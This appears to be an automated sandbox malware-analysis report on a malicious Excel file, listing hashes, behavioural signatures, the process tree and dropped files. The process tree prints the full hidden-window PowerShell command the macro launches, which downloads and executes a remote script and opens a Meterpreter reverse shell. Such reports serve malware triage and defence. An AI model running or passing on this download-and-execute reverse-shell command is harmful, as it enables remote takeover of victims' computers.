Analysis

  • max time kernel
    46s
  • max time network
    39s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/07/2024, 21:33

General

  • Target

    ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c.xls

  • Size

    34KB

  • MD5

    b33bb35523724ec11e6f05291d701b24

  • SHA1

    1841fd745bdf695fdfe7abcd8df375bdddb9648f

  • SHA256

    ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c

  • SHA512

    3952118baa9ae59c095acf5daed56965fa2dbe8f485384751cd3b4d2eb88c221986d1fbccf6bc56527b843f5959c27505c80c6f6cfe3f1d2305a6e223b74f1f9

  • SSDEEP

    768:LveWFwP+SKabAk0BuqCXlg+/fs5cClfZw2gmVXqA4LQYgO1mQQpSFeVAmcil:LSP+SKabAk0BuqCXlg+/fs5cClfZw2gQ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Windows\SYSTEM32\wscript.exe
      wscript C:\Users\Public\config.vbs
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:508
      • C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
        "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1760
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4372

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

    Filesize

    53KB

    MD5

    a26df49623eff12a70a93f649776dab7

    SHA1

    efb53bd0df3ac34bd119adf8788127ad57e53803

    SHA256

    4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

    SHA512

    e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0weujvqw.afp.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    3KB

    MD5

    61a6ee65a0551d6bd2d8cfc42fe15f5a

    SHA1

    b32563f29c4a8cee0941d6f53498cb42ebdb3c51

    SHA256

    0c813cf51f2ff57c6f29292e2f60228b1957a18073b1c56d188669f72f0d3b39

    SHA512

    43e439c7211a94c9daf69c682b4c053210e99f8c0ccc5d5782bf003f6907f8b8b24b73f45bcbac82ecfc79d65b4371f06b662a15899bff8411742ff91a9879c2

  • C:\Users\Public\config.vbs

    Filesize

    461B

    MD5

    ce52ab154163c511f0efa6a61e22ab64

    SHA1

    9f12cc215e15802eddcb02cb5370ef16b21fa3a6

    SHA256

    df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

    SHA512

    cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

  • memory/1624-16-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-22-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-9-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-8-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-7-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-6-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-10-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-11-0x00007FFDFF4E0000-0x00007FFDFF4F0000-memory.dmp

    Filesize

    64KB

  • memory/1624-13-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-12-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-14-0x00007FFDFF4E0000-0x00007FFDFF4F0000-memory.dmp

    Filesize

    64KB

  • memory/1624-15-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-20-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-17-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-0-0x00007FFE01CB0000-0x00007FFE01CC0000-memory.dmp

    Filesize

    64KB

  • memory/1624-21-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-23-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-5-0x00007FFE41CCD000-0x00007FFE41CCE000-memory.dmp

    Filesize

    4KB

  • memory/1624-19-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-18-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-31-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-32-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-42-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-44-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-43-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-4-0x00007FFE01CB0000-0x00007FFE01CC0000-memory.dmp

    Filesize

    64KB

  • memory/1624-3-0x00007FFE01CB0000-0x00007FFE01CC0000-memory.dmp

    Filesize

    64KB

  • memory/1624-78-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-77-0x00007FFE41C30000-0x00007FFE41E25000-memory.dmp

    Filesize

    2.0MB

  • memory/1624-2-0x00007FFE01CB0000-0x00007FFE01CC0000-memory.dmp

    Filesize

    64KB

  • memory/1624-1-0x00007FFE01CB0000-0x00007FFE01CC0000-memory.dmp

    Filesize

    64KB

  • memory/4372-68-0x00000265C7B10000-0x00000265C7B54000-memory.dmp

    Filesize

    272KB

  • memory/4372-55-0x00000265C7A90000-0x00000265C7AB2000-memory.dmp

    Filesize

    136KB